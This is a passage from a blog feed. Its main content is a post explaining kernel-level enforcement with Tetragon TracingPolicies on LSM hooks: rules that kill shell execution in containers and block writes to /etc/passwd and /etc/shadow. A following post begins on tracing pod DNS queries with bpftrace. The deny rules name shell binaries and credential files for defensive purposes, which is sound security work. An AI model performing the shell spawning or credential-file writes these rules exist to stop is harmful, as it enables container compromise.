<p>Falco fired at 03:14 AM. The alert: a process inside a production container had opened <code class="" data-line="">/etc/passwd</code> for writing. By the time I was on the call, the container had been restarted by a health check failure — the compromised process had already exited. The file had already been modified. Falco had detected the open, emitted the alert, and by the time any automated response could have acted, the syscall had returned, the write had completed, and the file was changed.</p>
<p>Falco did exactly what it&#8217;s designed to do: observe and alert. The gap isn&#8217;t in Falco — it&#8217;s in the architecture. When a tool detects from userspace by reading kernel audit events, there is always a window between the operation completing and the alert firing. For a fast exploit, that window is the entire attack.</p>
<p>I added a Tetragon TracingPolicy the following week:</p>
<pre><code class="" data-line="">spec:
  kprobes:
    - call: &quot;security_inode_permission&quot;
      syscall: false
      return: false
      args:
        - index: 0
          type: &quot;inode&quot;
      selectors:
        - matchArgs:
            - index: 0
              operator: &quot;Prefix&quot;
              values: [&quot;/etc/passwd&quot;, &quot;/etc/shadow&quot;]
          matchActions:
            - action: Sigkill
</code></pre>
<p>Next time a process tries to open <code class="" data-line="">/etc/passwd</code> for writing in a container covered by that policy, the kernel sends <code class="" data-line="">SIGKILL</code> from within the LSM hook. The open never completes. There is no window.</p>
<hr />
<h2 id="how-lsm-hooks-are-placed-in-the-kernel">How LSM Hooks Are Placed in the Kernel</h2>
<p>Linux Security Modules (LSM) is a framework built into the Linux kernel that inserts hook points before security-sensitive operations. The hook fires before the operation is allowed to complete — the LSM module can return an error code that causes the kernel to reject the operation and return <code class="" data-line="">-EPERM</code> to the calling process.</p>
<pre><code class="" data-line="">Process calls open(&quot;/etc/passwd&quot;, O_WRONLY)
      ↓
VFS (Virtual Filesystem) layer receives the request
      ↓
VFS calls security_inode_permission()   ← LSM hook fires here
      ↓
LSM module checks policy
      ↓
      ├── ALLOW → open() proceeds, file descriptor returned
      └── DENY  → open() returns -EPERM, process gets &quot;Permission denied&quot;
                  File is never touched
</code></pre>
<blockquote>
<p><strong><code class="" data-line="">LSM hook</code></strong> — a callback point embedded in Linux kernel source at every security-sensitive operation: file open, execute, socket connect, capability check, mount, ptrace, and more. The kernel calls registered LSM modules at each hook. Before BPF LSM (kernel 5.7), only statically compiled security modules (SELinux, AppArmor, BPF LSM itself) could register at these hooks.</p>
<p><strong><code class="" data-line="">BPF_PROG_TYPE_LSM</code></strong> — the eBPF program type that attaches to LSM hooks. Introduced in kernel 5.7. Requires BPF LSM to be enabled in the kernel (<code class="" data-line="">lsm=bpf</code> in kernel command line, or present alongside other LSMs). When this program type is loaded and attached to an LSM hook, the eBPF program runs at the hook point and returns 0 (allow) or a negative error code (deny).</p>
</blockquote>
<p>The full list of LSM hooks:</p>
<pre><code class="" data-line=""># All LSM hook points available for eBPF attachment
bpftool feature list | grep lsm_hook | head -20

# Or browse the kernel source list:
# include/linux/security.h — every security_*() function is an LSM hook point
</code></pre>
<p>There are 200+ LSM hook points. The most operationally relevant for container security:</p>
<table>
<thead>
<tr>
<th>LSM Hook</th>
<th>What it guards</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">security_bprm_check</code></td>
<td>Process execution (execve)</td>
</tr>
<tr>
<td><code class="" data-line="">security_inode_permission</code></td>
<td>File read/write/execute</td>
</tr>
<tr>
<td><code class="" data-line="">security_inode_create</code></td>
<td>File creation</td>
</tr>
<tr>
<td><code class="" data-line="">security_socket_connect</code></td>
<td>Outbound TCP/UDP connect</td>
</tr>
<tr>
<td><code class="" data-line="">security_socket_bind</code></td>
<td>Port binding</td>
</tr>
<tr>
<td><code class="" data-line="">security_ptrace_access_check</code></td>
<td>ptrace (debugger attach)</td>
</tr>
<tr>
<td><code class="" data-line="">security_capable</code></td>
<td>Capability checks (CAP_SYS_ADMIN etc.)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="how-tetragon-combines-lsm-and-kprobe">How Tetragon Combines LSM and kprobe</h2>
<p>Tetragon attaches two types of programs simultaneously for comprehensive runtime security:</p>
<pre><code class="" data-line="">kprobe programs          LSM programs
(observation layer)      (enforcement layer)
       │                        │
       ↓                        ↓
Process executes              Kernel LSM hook fires
kernel function               BEFORE operation completes
       │                        │
       ↓                        ↓
Tetragon reads context:       Tetragon checks TracingPolicy:
  - process name                - selectors match?
  - PID, UID                    - action = Sigkill?
  - namespace, pod name         │
  - parent process              ↓
  - capabilities                SIGKILL sent from kernel context
       │                        Process terminated
       ↓                        Operation never completes
Tetragon exports event
  to userspace observer
</code></pre>
<p>The kprobe side provides the rich context (pod name, namespace, process tree) because it has access to Kubernetes metadata that Tetragon&#8217;s userspace component has pre-populated into maps. The LSM side provides the enforcement capability. Together, they give you context-aware kernel enforcement.</p>
<blockquote>
<p><strong><code class="" data-line="">SIGKILL</code> from kernel vs userspace kill</strong> — When a userspace process runs <code class="" data-line="">kill -9 &lt;pid&gt;</code>, it issues a kill syscall, the kernel schedules the signal delivery, and the target process dies on its next scheduler timeslice. There is a measurable delay — and more importantly, the target process may run for several more instructions before the signal is delivered. When a BPF LSM program returns a non-zero error code or calls <code class="" data-line="">bpf_send_signal(SIGKILL)</code> from within the hook, the signal is delivered synchronously within the kernel&#8217;s execution context. The process does not execute another instruction in the problematic syscall. This is not a speed difference — it is a structural difference in when the enforcement happens relative to the operation.</p>
</blockquote>
<hr />
<h2 id="writing-a-tetragon-tracingpolicy-for-enforcement">Writing a Tetragon TracingPolicy for Enforcement</h2>
<p>Tetragon policies are Kubernetes custom resources. Here&#8217;s a policy that prevents any container from executing shells:</p>
<pre><code class="" data-line="">apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shell-exec
spec:
  kprobes:
    - call: &quot;security_bprm_check&quot;
      syscall: false
      args:
        - index: 0
          type: &quot;linux_binprm&quot;
      selectors:
        - matchBinaries:
            - operator: &quot;In&quot;
              values:
                - &quot;/bin/sh&quot;
                - &quot;/bin/bash&quot;
                - &quot;/bin/dash&quot;
                - &quot;/usr/bin/sh&quot;
                - &quot;/usr/bin/bash&quot;
          matchNamespaces:
            - namespace: Pid
              operator: &quot;NotIn&quot;
              values: [&quot;1&quot;]      # exclude host namespace (PID 1 = init)
          matchActions:
            - action: Sigkill
              argError: -1       # EPERM returned to the caller
</code></pre>
<p>Apply and verify:</p>
<pre><code class="" data-line="">kubectl apply -f block-shell-exec.yaml

# Confirm it&#039;s active
kubectl get tracingpolicies
# NAME               ENABLED   REASON   AGE
# block-shell-exec   true               5s

# Verify Tetragon loaded the eBPF program for this policy
bpftool prog list | grep bprm
# 94: lsm  name tetragon_lsm_bprm  tag 8f2a1c3e4d5b7a9f  gpl
#     loaded_at 2026-04-22T14:22:13+0530  uid 0
</code></pre>
<p>Test it (in a non-production namespace):</p>
<pre><code class="" data-line="">kubectl exec -it test-pod -- /bin/sh

# Expected output:
# OCI runtime exec failed: exec failed: unable to start container process:
# error during container init: error starting executable [&quot;/bin/sh&quot;]:
# container_linux.go: ... starting container process caused: process_linux.go:
# ... SIGKILL
</code></pre>
<p>The shell never started. The <code class="" data-line="">security_bprm_check</code> LSM hook fired, the Tetragon eBPF program evaluated the policy, returned <code class="" data-line="">SIGKILL</code> from kernel space. The exec system call returned <code class="" data-line="">-EPERM</code> to the container runtime. No shell process was created.</p>
<hr />
<h2 id="audit-mode-before-enforce-mode">Audit Mode Before Enforce Mode</h2>
<p>Running a new LSM policy in enforce mode without prior testing will kill legitimate workloads. Tetragon supports audit mode for every policy:</p>
<pre><code class="" data-line="">          matchActions:
            - action: Post     # audit mode: log event, do NOT kill
</code></pre>
<p><code class="" data-line="">Post</code> emits a Tetragon event that you can observe:</p>
<pre><code class="" data-line=""># Watch audit events for the policy (before switching to Sigkill)
kubectl exec -n kube-system -it \
  $(kubectl get pod -n kube-system -l app.kubernetes.io/name=tetragon -o name | head -1) \
  -- tetra getevents --event-types PROCESS_KPROBE | grep bprm
</code></pre>
<p>Sample audit event:</p>
<pre><code class="" data-line="">{
  &quot;process_kprobe&quot;: {
    &quot;process&quot;: {
      &quot;pod&quot;: {&quot;name&quot;: &quot;my-app-6d4f9-xk2p1&quot;, &quot;namespace&quot;: &quot;production&quot;},
      &quot;binary&quot;: &quot;/bin/sh&quot;,
      &quot;pid&quot;: 18293
    },
    &quot;function_name&quot;: &quot;security_bprm_check&quot;,
    &quot;action&quot;: &quot;KPROBE_ACTION_POST&quot;
  }
}
</code></pre>
<p>If <code class="" data-line="">my-app</code> legitimately needs <code class="" data-line="">/bin/sh</code> for its health check script, you&#8217;ll see it here before you kill it. Refine the selector (add <code class="" data-line="">matchLabels</code> to exclude that specific deployment, or add the binary to an allowlist) and then switch to <code class="" data-line="">Sigkill</code>.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Enforce mode kills anything the selector matches — including health checks and init containers.</strong> Most production containers have some shell usage: liveness probes that run <code class="" data-line="">sh -c</code>, init containers that <code class="" data-line="">chmod</code> files, entrypoint wrappers. Run in <code class="" data-line="">Post</code> (audit) mode for at least 48 hours across a representative workload set before switching to <code class="" data-line="">Sigkill</code>. Track all matched events and understand every process in the trace before enforcing.</p>
<p><strong>LSM hooks fire in kernel context — eBPF program complexity is limited.</strong> The verifier enforces strict limits on LSM programs because they run synchronously in the kernel&#8217;s hot path. Policies with many conditions or complex map lookups may be rejected by the verifier. Tetragon&#8217;s policy engine compiles your TracingPolicy into eBPF that stays within verifier limits, but very complex <code class="" data-line="">matchArgs</code> chains with many values can hit limits. Test with <code class="" data-line="">kubectl apply</code> and check Tetragon pod logs for verifier rejection messages.</p>
<p><strong><code class="" data-line="">BPF_PROG_TYPE_LSM</code> requires kernel 5.7+ and BPF LSM enabled.</strong> Check <code class="" data-line="">/sys/kernel/security/lsm</code> for <code class="" data-line="">bpf</code> in the list. EKS nodes running Amazon Linux 2 with kernel 5.10+ have BPF LSM available. GKE nodes with kernel 5.10+ on Container-Optimized OS have it enabled. Ubuntu 22.04 (kernel 5.15) has it enabled by default. Ubuntu 20.04 kernels before 5.7 do not — check your actual kernel version.</p>
<p><strong>Policy scope: Tetragon TracingPolicies are cluster-wide by default.</strong> A policy without a <code class="" data-line="">matchNamespaces</code> or <code class="" data-line="">matchLabels</code> selector applies to every pod on every node. Start with namespace-scoped policies during testing. Use <code class="" data-line="">namespaced</code> TracingPolicy resources (Tetragon 0.10+) to limit scope to a specific namespace.</p>
<p><strong><code class="" data-line="">bpf_send_signal(SIGKILL)</code> vs returning an error code.</strong> Tetragon&#8217;s <code class="" data-line="">Sigkill</code> action uses <code class="" data-line="">bpf_send_signal()</code> rather than returning a negative error from the LSM hook. This means the syscall may return before the signal is delivered — there can be a single instruction window. For critical enforcement paths, combining LSM deny (return <code class="" data-line="">-EPERM</code>) with <code class="" data-line="">bpf_send_signal(SIGKILL)</code> is the belt-and-suspenders approach; Tetragon&#8217;s maintainers have documented which actions use which mechanism.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>Is BPF LSM enabled?</td>
<td><code class="" data-line="">cat /sys/kernel/security/lsm</code> (look for <code class="" data-line="">bpf</code>)</td>
</tr>
<tr>
<td>What LSM programs are loaded?</td>
<td><code class="" data-line="">bpftool prog list | grep lsm</code></td>
</tr>
<tr>
<td>What Tetragon policies exist?</td>
<td><code class="" data-line="">kubectl get tracingpolicies -A</code></td>
</tr>
<tr>
<td>Audit events (before enforce)</td>
<td><code class="" data-line="">tetra getevents --event-types PROCESS_KPROBE</code></td>
</tr>
<tr>
<td>Watch Tetragon enforcement</td>
<td><code class="" data-line="">kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -f</code></td>
</tr>
<tr>
<td>Test a policy safely</td>
<td>Set <code class="" data-line="">action: Post</code> before <code class="" data-line="">action: Sigkill</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Tetragon action</th>
<th>Effect</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Post</code></td>
<td>Log event only — audit mode</td>
</tr>
<tr>
<td><code class="" data-line="">Sigkill</code></td>
<td>Send SIGKILL from kernel context</td>
</tr>
<tr>
<td><code class="" data-line="">Override</code></td>
<td>Return custom error code to syscall caller</td>
</tr>
<tr>
<td><code class="" data-line="">FollowFD</code></td>
<td>Track file descriptor for future hook correlation</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>LSM hook</th>
<th>Protects</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">security_bprm_check</code></td>
<td>exec (block shell spawning)</td>
</tr>
<tr>
<td><code class="" data-line="">security_inode_permission</code></td>
<td>file access (block reads/writes to sensitive paths)</td>
</tr>
<tr>
<td><code class="" data-line="">security_socket_connect</code></td>
<td>outbound connections (block C2 connections)</td>
</tr>
<tr>
<td><code class="" data-line="">security_capable</code></td>
<td>capability escalation (block CAP_SYS_ADMIN attempts)</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>LSM eBPF Tetragon enforces at the syscall boundary — the operation either never completes or returns an error before the kernel performs the action, with no detect-and-respond window</li>
<li>Falco, Datadog, and sidecar-based tools detect events after the syscall returns; this is architectural, not a product limitation — they operate at a layer where the operation has already occurred</li>
<li><code class="" data-line="">BPF_PROG_TYPE_LSM</code> attaches eBPF programs directly to Linux Security Module hooks; available on kernel 5.7+, enabled on all current EKS/GKE LTS node images</li>
<li>Tetragon sends <code class="" data-line="">SIGKILL</code> from kernel context using <code class="" data-line="">bpf_send_signal()</code> — not from a userspace agent polling an audit log</li>
<li>Always run Tetragon policies in <code class="" data-line="">Post</code> (audit) mode for 48+ hours before switching to <code class="" data-line="">Sigkill</code> — legitimate workloads trigger many of the same LSM hooks that attacks use</li>
<li>The combination of kprobe (rich context: pod name, namespace, process tree) and LSM (enforcement) gives Tetragon context-aware kernel enforcement that static profiles (AppArmor, seccomp) cannot provide dynamically</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>LSM hooks prevent operations in the moment. But after an incident — when enforcement failed, or when you&#8217;re doing post-hoc forensics — the question changes: what did this process spawn, what files did it touch, what connections did it make, and in what order? Answering that from logs alone is guesswork. Answering it from kernel-level process lineage is reconstruction.</p>
<p>EP13 covers how eBPF kprobe hooks on <code class="" data-line="">fork</code> and <code class="" data-line="">exec</code> build a complete, tamper-resistant process tree. Even after the attacker&#8217;s process has exited, the record remains — in kernel maps, exported to a persistent store, tied to the pod that ran it.</p>
<p><em>Next: <a href="/ebpf-process-lineage-incident-response/">process lineage with eBPF — reconstructing what happened after the fact</a></em></p>
<p>Get EP13 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&amp;linkname=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Febpf-lsm-tetragon-runtime-security%2F&#038;title=LSM%20and%20Tetragon%20%E2%80%94%20When%20the%20Kernel%20Says%20No" data-a2a-url="https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/" data-a2a-title="LSM and Tetragon — When the Kernel Says No"></a></p><p>The post <a href="https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon — When the Kernel Says No</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/ebpf-lsm-tetragon-runtime-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1841</post-id>	</item>
		<item>
		<title>DNS at the Kernel Level — What Your Pods Are Actually Resolving</title>
		<link>https://linuxcent.com/ebpf-dns-observability-kubernetes/</link>
					<comments>https://linuxcent.com/ebpf-dns-observability-kubernetes/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 06 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[CoreDNS]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Observability]]></category>
		<category><![CDATA[SRE]]></category>
		<category><![CDATA[Tracing]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1840</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>DNS observability Kubernetes needs eBPF tracepoints, not CoreDNS metrics — trace every pod DNS query in real time with no sidecar, restart, or sampling.</p>
<p>The post <a href="https://linuxcent.com/ebpf-dns-observability-kubernetes/">DNS at the Kernel Level — What Your Pods Are Actually Resolving</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 11</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <strong>DNS Observability</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>DNS observability in Kubernetes with eBPF hooks the kernel&#8217;s DNS syscall path — giving you per-pod query visibility without sidecars, restarts, or CoreDNS log scraping<br />
  <em>(tracepoint = a stable, versioned hook placed deliberately in the Linux kernel source; unlike kprobes, tracepoints survive kernel upgrades without breakage)</em></li>
<li>CoreDNS metrics tell you aggregate query rates; eBPF tracepoints tell you which pod queried what domain, when, and what was returned</li>
<li>A compromised workload&#8217;s first observable action is almost always an unexpected DNS query — infrastructure no legitimate process should ever resolve</li>
<li>The DNS syscall path in Linux goes: application calls <code class="" data-line="">getaddrinfo()</code> → glibc → <code class="" data-line="">sendto()</code> syscall → kernel network stack → UDP packet to CoreDNS resolver</li>
<li>You hook the <code class="" data-line="">sendto</code> tracepoint to catch the query leaving the pod and the <code class="" data-line="">recvfrom</code> tracepoint to catch the response arriving</li>
<li>Production note: DNS query payloads cross the kernel as raw UDP — parsing the DNS wire format in a bpftrace one-liner requires reading past the UDP header; Tetragon and Pixie do this parsing in the eBPF program itself</li>
</ul>
<hr />
<p>EP10 showed eBPF flow telemetry as the ground truth for what connections your pods are making. DNS observability with eBPF goes one layer beneath that: the name resolution step that happens before any connection is established. Every domain a pod resolves is visible at the kernel level. That visibility is what a security scan alert is missing when it flags &#8220;unexpected DNS queries&#8221; — it can see the traffic on the wire, but it can&#8217;t tell you which pod sent it without restarting or deploying an agent into the pod.</p>
<h2 id="quick-check-what-dns-traffic-is-leaving-your-pods-right-now">Quick Check: What DNS Traffic Is Leaving Your Pods Right Now?</h2>
<p>Without installing anything, you can see DNS queries crossing any node in under 30 seconds:</p>
<pre><code class="" data-line=""># SSH into a worker node, then:

# Watch all UDP port 53 traffic — which processes are making DNS queries?
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args-&gt;addr)[3] &lt;&lt; 8 |
            (uint16)((uint8*)args-&gt;addr)[2];
    if ($port == 53) {
        printf(&quot;%-20s %-6d DNS query (UDP sendto)\n&quot;, comm, pid);
    }
}&#039; --timeout 30
</code></pre>
<p>Expected output:</p>
<pre><code class="" data-line="">coredns              1842   DNS query (UDP sendto)   # ← CoreDNS forwarding upstream
nginx                9231   DNS query (UDP sendto)   # ← nginx resolving upstream
payment-svc          11043  DNS query (UDP sendto)   # ← your service making queries
curl                 14829  DNS query (UDP sendto)   # ← kubectl exec / debug session
</code></pre>
<pre><code class="" data-line=""># How many DNS queries per process in the last 30 seconds?
bpftrace -e &#039;
tracepoint:syscalls:sys_enter_sendto {
    $port = (uint16)((uint8*)args-&gt;addr)[3] &lt;&lt; 8 |
            (uint16)((uint8*)args-&gt;addr)[2];
    if ($port == 53) { @dns_queries[comm] = count(); }
}
interval:s:30 { print(@dns_queries); exit(); }
&#039;
</code></pre>
<p>Expected output:</p>
<pre><code class="" data-line="">@dns_queries[coredns]:       1203   # ← upstream forwarder traffic
@dns_queries[payment-svc]:    847   # ← legitimate service queries
@dns_queries[unknown]:         12   # ← investigate this one
</code></pre>
<blockquote>
<p><strong>On EKS or GKE managed nodes:</strong> You may not be able to SSH directly to worker nodes, but you can run a privileged debug pod: <code class="" data-line="">kubectl debug node/&lt;node-name&gt; -it --image=quay.io/iovisor/bpftrace</code>. The bpftrace program runs on the host kernel and sees all pods&#8217; DNS queries. GKE Autopilot restricts privileged pods — use GKE&#8217;s built-in eBPF-based DNS observability instead (enabled via Cloud Logging with DNS policy logging).</p>
</blockquote>
<hr />
<p>A security scan flagged unexpected DNS queries from <code class="" data-line="">payment-svc</code> in the production namespace. The query domains didn&#8217;t match anything in the service&#8217;s known dependency list. The scan tool showed the traffic on the wire — destination port 53, from the pod&#8217;s IP — but couldn&#8217;t tell us which process inside the pod was responsible or what domain was being queried without pulling the pod&#8217;s DNS logs.</p>
<p>The pod had no DNS logging enabled. CoreDNS showed the queries in its aggregate metrics but with no attribution below namespace level. Restarting the pod to add a DNS sidecar would wipe any in-memory state the process had accumulated.</p>
<p>I ran bpftrace with a <code class="" data-line="">recvfrom</code> hook to catch the DNS response payloads coming back into the pod:</p>
<pre><code class="" data-line="">bpftrace -e &#039;
tracepoint:syscalls:sys_exit_recvfrom {
    if (retval &gt; 0) {
        printf(&quot;%-20s PID %-6d received %d bytes (possible DNS response)\n&quot;,
               comm, pid, retval);
    }
}&#039; --timeout 60
</code></pre>
<p>Then cross-referenced the PIDs to container processes via <code class="" data-line="">/proc/&lt;pid&gt;/cgroup</code>. The unexpected queries were coming from a sidecar process that had been injected by a recent Helm chart change — not from the main application container at all. A misconfigured Datadog agent injected into the wrong namespace was querying its intake endpoint.</p>
<p>No restart. No sidecar deployment. Found in under two minutes.</p>
<hr />
<h2 id="why-coredns-metrics-dont-give-you-this">Why CoreDNS Metrics Don&#8217;t Give You This</h2>
<p>CoreDNS exposes DNS query metrics via Prometheus. Those metrics tell you:<br />
&#8211; Total queries per second across the cluster<br />
&#8211; Query latency histograms<br />
&#8211; Error rates (NXDOMAIN, SERVFAIL)<br />
&#8211; Upstream forwarder health</p>
<p>What they don&#8217;t tell you:<br />
&#8211; Which specific pod sent a query to a specific domain<br />
&#8211; Which process inside that pod made the <code class="" data-line="">getaddrinfo()</code> call<br />
&#8211; Whether the query came from the main container or an injected sidecar<br />
&#8211; The timing relationship between a DNS query and the connection that followed it</p>
<p>CoreDNS sees the query after it arrives at the resolver. eBPF tracepoints see the query at the moment the pod&#8217;s process issues the <code class="" data-line="">sendto()</code> syscall — before it leaves the node. The difference is attribution.</p>
<hr />
<h2 id="the-dns-syscall-path-in-linux">The DNS Syscall Path in Linux</h2>
<p>Understanding where the hook fires helps you reason about what you can observe:</p>
<pre><code class="" data-line="">Application code
    ↓
getaddrinfo(&quot;api.example.com&quot;) ← glibc resolver function
    ↓
glibc reads /etc/resolv.conf → finds nameserver 10.96.0.10 (CoreDNS ClusterIP)
    ↓
glibc builds DNS wire-format query packet
    ↓
sendto(sockfd, buf, len, 0, &amp;resolver_addr, addrlen)
    ↓                     ← eBPF tracepoint fires here: sys_enter_sendto
Linux kernel: udp_sendmsg()
    ↓
Packet leaves pod veth interface
    ↓
TC eBPF on veth sees UDP packet (flow telemetry picks this up too)
    ↓
CoreDNS receives query, resolves, sends response
    ↓
Packet arrives back at pod veth
    ↓
